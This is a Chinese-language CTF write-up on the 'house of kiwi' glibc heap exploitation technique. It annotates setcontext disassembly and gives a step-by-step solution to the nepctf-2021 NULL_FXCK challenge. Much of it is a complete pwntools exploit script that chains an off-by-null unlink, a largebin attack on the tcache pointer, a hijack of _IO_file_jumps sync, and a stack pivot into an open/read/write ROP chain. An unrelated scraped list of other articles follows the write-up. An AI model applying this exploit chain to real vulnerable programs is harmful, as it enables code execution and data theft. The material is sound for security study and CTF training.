house of kiwi

前言:house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。

我们看看触发的源码

#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function) extern const char *__progname; static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif
#endif

可以看见__malloc_assert调用了__fxprintffflush,而这个函数调用后会调用_IO_file_jumps中的sync指针。

这个指针在_IO_file_jumps偏移为0x60的位置,那么将这个指针进行劫持,就能达到我们想要的目的,如果题目禁用了execve的话,可以考虑通过setcontext来实现栈迁移

我们看一下这个这个函数

text:0000000000053030 ; __unwind {
.text:0000000000053030 endbr64
.text:0000000000053034 push rdi
.text:0000000000053035 lea rsi, [rdi+128h] ; nset
.text:000000000005303C xor edx, edx ; oset
.text:000000000005303E mov edi, 2 ; how
.text:0000000000053043 mov r10d, 8 ; sigsetsize
.text:0000000000053049 mov eax, 0Eh
.text:000000000005304E syscall ; LINUX - sys_rt_sigprocmask
.text:0000000000053050 pop rdx
.text:0000000000053051 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000053057 jnb loc_5317F
.text:000000000005305D mov rcx, [rdx+0E0h]
.text:0000000000053064 fldenv byte ptr [rcx]
.text:0000000000053066 ldmxcsr dword ptr [rdx+1C0h]
.text:000000000005306D mov rsp, [rdx+0A0h] //这里将rdx+0xa0的值赋值给了rsp,也就是我们控制了rdx就控制了rsp
.text:0000000000053074 mov rbx, [rdx+80h]
.text:000000000005307B mov rbp, [rdx+78h]
.text:000000000005307F mov r12, [rdx+48h]
.text:0000000000053083 mov r13, [rdx+50h]
.text:0000000000053087 mov r14, [rdx+58h]
.text:000000000005308B mov r15, [rdx+60h]
.text:000000000005308F test dword ptr fs:48h, 2
.text:000000000005309B jz loc_53156
.text:00000000000530A1 mov rsi, [rdx+3A8h]
.text:00000000000530A8 mov rdi, rsi
.text:00000000000530AB mov rcx, [rdx+3B0h]
.text:00000000000530B2 cmp rcx, fs:78h
.text:00000000000530BB jz short loc_530F5
.text:00000000000530BD
.text:00000000000530BD loc_530BD: ; CODE XREF: setcontext+9E↓j
.text:00000000000530BD mov rax, [rsi-8]
.text:00000000000530C1 and rax, 0FFFFFFFFFFFFFFF8h
.text:00000000000530C5 cmp rax, rsi
.text:00000000000530C8 jz short loc_530D0
.text:00000000000530CA sub rsi, 8
.text:00000000000530CE jmp short loc_530BD
.text:00000000000530D0 ; ---------------------------------------------------------------------------
.text:00000000000530D0
.text:00000000000530D0 loc_530D0: ; CODE XREF: setcontext+98↑j
.text:00000000000530D0 mov rax, 1
.text:00000000000530D7 incsspq rax
.text:00000000000530DC rstorssp qword ptr [rsi-8]
.text:00000000000530E1 saveprevssp
.text:00000000000530E5 mov rax, [rdx+3B0h]
.text:00000000000530EC mov fs:78h, rax
.text:00000000000530F5
.text:00000000000530F5 loc_530F5: ; CODE XREF: setcontext+8B↑j
.text:00000000000530F5 rdsspq rcx
.text:00000000000530FA sub rcx, rdi
.text:00000000000530FD jz short loc_5311C
.text:00000000000530FF neg rcx
.text:0000000000053102 shr rcx, 3
.text:0000000000053106 mov esi, 0FFh
.text:000000000005310B
.text:000000000005310B loc_5310B: ; CODE XREF: setcontext+EA↓j
.text:000000000005310B cmp rcx, rsi
.text:000000000005310E cmovb rsi, rcx
.text:0000000000053112 incsspq rsi
.text:0000000000053117 sub rcx, rsi
.text:000000000005311A ja short loc_5310B
.text:000000000005311C
.text:000000000005311C loc_5311C: ; CODE XREF: setcontext+CD↑j
.text:000000000005311C mov rsi, [rdx+70h]
.text:0000000000053120 mov rdi, [rdx+68h]
.text:0000000000053124 mov rcx, [rdx+98h]
.text:000000000005312B mov r8, [rdx+28h]
.text:000000000005312F mov r9, [rdx+30h]
.text:0000000000053133 mov r10, [rdx+0A8h]
.text:000000000005313A mov rdx, [rdx+88h]
.text:0000000000053141 rdsspq rax
.text:0000000000053146 cmp r10, [rax]
.text:0000000000053149 mov eax, 0
.text:000000000005314E jnz short loc_53153
.text:0000000000053150 push r10
.text:0000000000053152 retn
.text:0000000000053153 ; ---------------------------------------------------------------------------
.text:0000000000053153
.text:0000000000053153 loc_53153: ; CODE XREF: setcontext+11E↑j
.text:0000000000053153 jmp r10
.text:0000000000053156 ; ---------------------------------------------------------------------------
.text:0000000000053156
.text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j
.text:0000000000053156 mov rcx, [rdx+0A8h] //也可以控制到rcx
.text:000000000005315D push rcx //控制到rip
.text:000000000005315E mov rsi, [rdx+70h]
.text:0000000000053162 mov rdi, [rdx+68h]
.text:0000000000053166 mov rcx, [rdx+98h]
.text:000000000005316D mov r8, [rdx+28h]
.text:0000000000053171 mov r9, [rdx+30h]
.text:0000000000053175 mov rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C xor eax, eax
.text:000000000005317E retn

 也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移,那么就要搞清楚,调用这个指针的时候,rdx是什么,那么就需要调试一下

调用了fflush

这里sync指针已经被我修改变成了setcontext+61的地址

而此时的rdx是 IO_helper_jumps的地址

那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流

小结:想要达到house_of_kiwi需要至少两次任意地址改,修改sync指针,以及IO_helper_jumps +0xa0和0xa8的位置,然后就可以劫持到程序流了,对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配,进而达到目的。

相比较其他的house_of系列kiwi要求的条件也比较苛刻,但是它的利用手法并不难,在能满足这个条件的情况下,这种手法还是非常不错的。

例题:nepctf-2021 NULL_FXCK

题目链接:题目
提取码:k5h6

ida逆向分析

add函数规定了申请chunk有大小的限制,最小0x100,最大0x2000

edit函数存在off_by_null漏洞,但是只能使用一次

show函数存在截断

free函数没有UAF漏洞

分析:只有一个off_by_null漏洞,只能使用一次,那么可以通过unlink实现堆块重叠,达到泄露地址的目的,但是本题libc是2.32的libc,还是存在_malloc_hook这些钩子,但是这些被ban掉了,而且开了沙箱保护,我们只能orw读取flag,那么就可以从上面house_of_kiwi下手。首先要做的是unlink,但是这样就需要伪造fd指针和bk指针,以前我们一般是将fd和bk指针指向自身来绕过unlink检查,但是现在我们不能泄露地址,也就是要在无法泄露地址的情况下完成unlink

那么我们可以申请6个堆块,free 0,3,5堆块,那么堆块3的fd和bk就已经确定了,此时想要达到堆块重叠,可以把chunk3的size改大(改到top_chunk这样下次在top_chunk申请堆块时候,free时候,会向上合并),怎么来呢,free掉chunk2,然后chunk2和chunk3会合并,然后申请堆块修改chunk3的size,那么此时,链表就被破坏了

free 0,3,5

chunk2和chunk3合并

chunk3size被修改,同时它的fd和bk指针已经设置好了

此时,剩下两个chunk加入到了largebin中,我们申请出来,但是怎么修改它们的fd和bk指针呢

注意看刚刚chunk3和chunk2合并之后剩下的chunk(称为left_chunk),它的地址只有最低位和chunk3不一样,而且chunk3的地址末位是0,这个是一开始布局的时候这样布置的,因为add有截断,我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子,最后通过add截断修改掉fd或者bk指针

这里以chunk0为例子,注意他的fd是chunk3+0x20的位置,那么如果截断一下就是chunk3了

同理chunk5也是一样,那么完成这个再伪造一下prev_size即可完成unlink,即可申请堆块达到堆块重叠,泄露地址,但是存在00截断,还需要加入到largebin中泄露libc地址以及heap地址

那么现在泄露地址的问题解决了,还需要实现任意地址写,那么这里涉及一个知识,我们知道管理tcachebin链表是一个结构体在heap起始处

其实这个在tls里面有一个指针指向它只是被映射成了这个地址,我们可以找一下

那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写,接下来就是house_of_kiwi,实现栈迁移,提前把orw链子写入到chunk里面

EXP:

from gt import *

con("amd64")
libc = ELF("./libc-2.32.so") io = process("./NULL_FXCK") def add(size,msg='\x00'):
io.sendlineafter(">> ",'1')
io.sendlineafter("(: Size: ",str(size))
io.sendafter("(: Content: ",msg) def edit(index,msg):
io.sendlineafter(">> ",'2')
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",msg) def free(index):
io.sendlineafter(">> ",'3')
io.sendlineafter("Index: ",str(index)) def show(index):
io.sendlineafter(">> ",'4')
io.sendlineafter("Index: ",str(index)) add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6 free(0)
free(3)
free(5)
gdb.attach(io)
free(2) #chunk3 chunk2 he bing
payload = b'a'*0x428 + p64(0xc91)
add(0x440,payload) #0
#gdb.attach(io)
add(0x418) #2 chunk3 chunk2 leave part
add(0x418) #3 yuanxian chunk0
add(0x428) #5 yuanxian chunk5 free(3)
free(2)
#gdb.attach(io)
add(0x418,'a'*9) #2
add(0x418) #3
free(3)
free(5)
add(0x9f8) #3
add(0x428,'a') #5
payload = b'a'*0x200 + p64(0xc90) + b'\x00'
edit(6,payload)
#gdb.attach(io)
add(0x418)
add(0x208) # fangzhi top_chunk free(3)
payload = p64(0) *3 + p64(0x421)
add(0x430,payload)
add(0x1600)
show(4)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x6a0 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base) show(5)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2b0
suc("heap_base",heap_base)
#gdb.attach(io)
tls_truct = libc_base + 0x1eb578
suc("tls_truct",tls_truct)
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
setcontext = libc_base + libc.sym["setcontext"]
pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret;
pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret;
IO_file_jumps = libc_base + 0x1e54c0
IO_hleper_jumps = libc_base + 0x1e48c0
suc("IO_hleper_jumps",IO_hleper_jumps)
ret = libc_base + 0x0000000000026699 #: ret; payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01)
add(0x1240,payload) free(0) # orw_addr
flag_addr = heap_base + 0x8e0 + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write)
orw = orw.ljust(0x100,b'a')
orw += b'flag\x00\x00\x00\x00' add(0x440,orw) #0
add(0x418) #11
add(0x208) #12 free(5) #unlink big chunk
free(4) # large_bin attack chunk
# chunk5 ----> largebin payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)
payload += p64(tls_truct - 0x20) add(0x1240,payload)
free(11)
add(0x500) # wancheng large_bin attack add(0x410) #11
free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2
add(0x1240,payload) fake_tcache = b'\x07\x00' * 0x35
fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60)
fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0)
fake_tcache += p64(heap_base + 0x46f0) #top_chunk
add(0x420,fake_tcache)
add(0x100,p64(setcontext+61))
add(0x200,p64(heap_base + 0x8e0)+p64(ret))
add(0x210,p64(0x999))
gdb.attach(io)
add(0x1000)
#gdb.attach(io)
io.interactive()

最后效果

常回家看看之house_of_kiwi的更多相关文章

  1. 《Android插件化开发指南》面世

    本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...

  2. C 基础框架开发

    引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...

  3. 利用Swoole实现PHP+websocket直播,即使通讯

    websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...

  4. 高中最后一刻&大学第一课&为人师的责任

    文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...

  5. N1试卷常考词汇总结

    免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...

  6. JavaScript 字符串实用常操纪要

    JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...

  7. C++常考面试题汇总

    c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...

  8. OCP考点实战演练02-日常维护篇

    本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...

  9. c/c++常见面试题

    1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...

  10. flhs笔试题-回家上机实践

    这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...

随机推荐

  1. kafka3.0创建topic出现zookeeper is not a recognized option

    在linux云服务器上搭建了一套kafka3.0集群,然后安装以前的创建topic指令,例如这样-- ./kafka-topics.sh --bootstrap-server master:2181, ...

  2. P2984

    [USACO10FEB]Chocolate Giving S 题意描述 Farmer John有B头奶牛(1<=B<=25000),有N(2*B<=N<=50000)个农场,编 ...

  3. 超级炫酷的终端神器 eDEX-UI

    目录 eDEX-UI主要亮点: 优点: 软件简介 安装 Linux Windows 效果 更换皮肤 matrix Tron-disrupted 退出 常见问题解答 eDEX-UI,不仅是一款全屏幕.跨 ...

  4. [oeasy]python0021_宝剑镶宝石_爱之石中剑_批量替换_特殊字符_特殊颜色

    继续运行 回忆上次内容 上次 运行了 game.py 分析了 game.py 也大致读懂了 game.py       添加图片注释,不超过 140 字(可选)   这个 程序 可以进一步 进行修改吗 ...

  5. layout文本相关

    Textview t=findViewById(R.id.t); ONE设置文本内容: 在XML中android:text直接写 在java中setText()中修改 注意点1继承appcompata ...

  6. java开发环境安装IDEA+jdk1.8

    一. 需要得安装包 (1)IDEA破解版.zip (2)jdk1.8.0_25.7z 获取方式(免费): (1)       登录-注册:http://resources.kittytiger.cn/ ...

  7. LinuxUDP通讯

    目录 前言 一.UDP通讯 1.UDP通讯概述 2.UDP的特点 3.UDP的应用 二.UDP基本通讯 1.socket函数 2.bind函数 2.1 主机字节序和网络字节序 2.2 点分制十进制转换 ...

  8. 【Mybatis-Plus】制作逆向工具

    官方文档可参考: https://baomidou.com/pages/779a6e/#快速入门 工具需要的依赖 <?xml version="1.0"?> <p ...

  9. 【SQL】 去掉最后一段,只保留前段

    需求描述: 例如给出这样一个地址或者其他字符: 10.11.12.13 192.168.177.209101.102.103.104.105 ... 要求只保留前面的部分,去掉最后一部分 10.11. ...

  10. 【Uni-App】UniApp转微信小程序发布应用

    参考地址: https://www.jianshu.com/p/a77b73f329e4 第一步,把原始Uni-App项目,转成微信小程序项目 点[发行]-- [小程序-微信(仅适用uni-app)] ...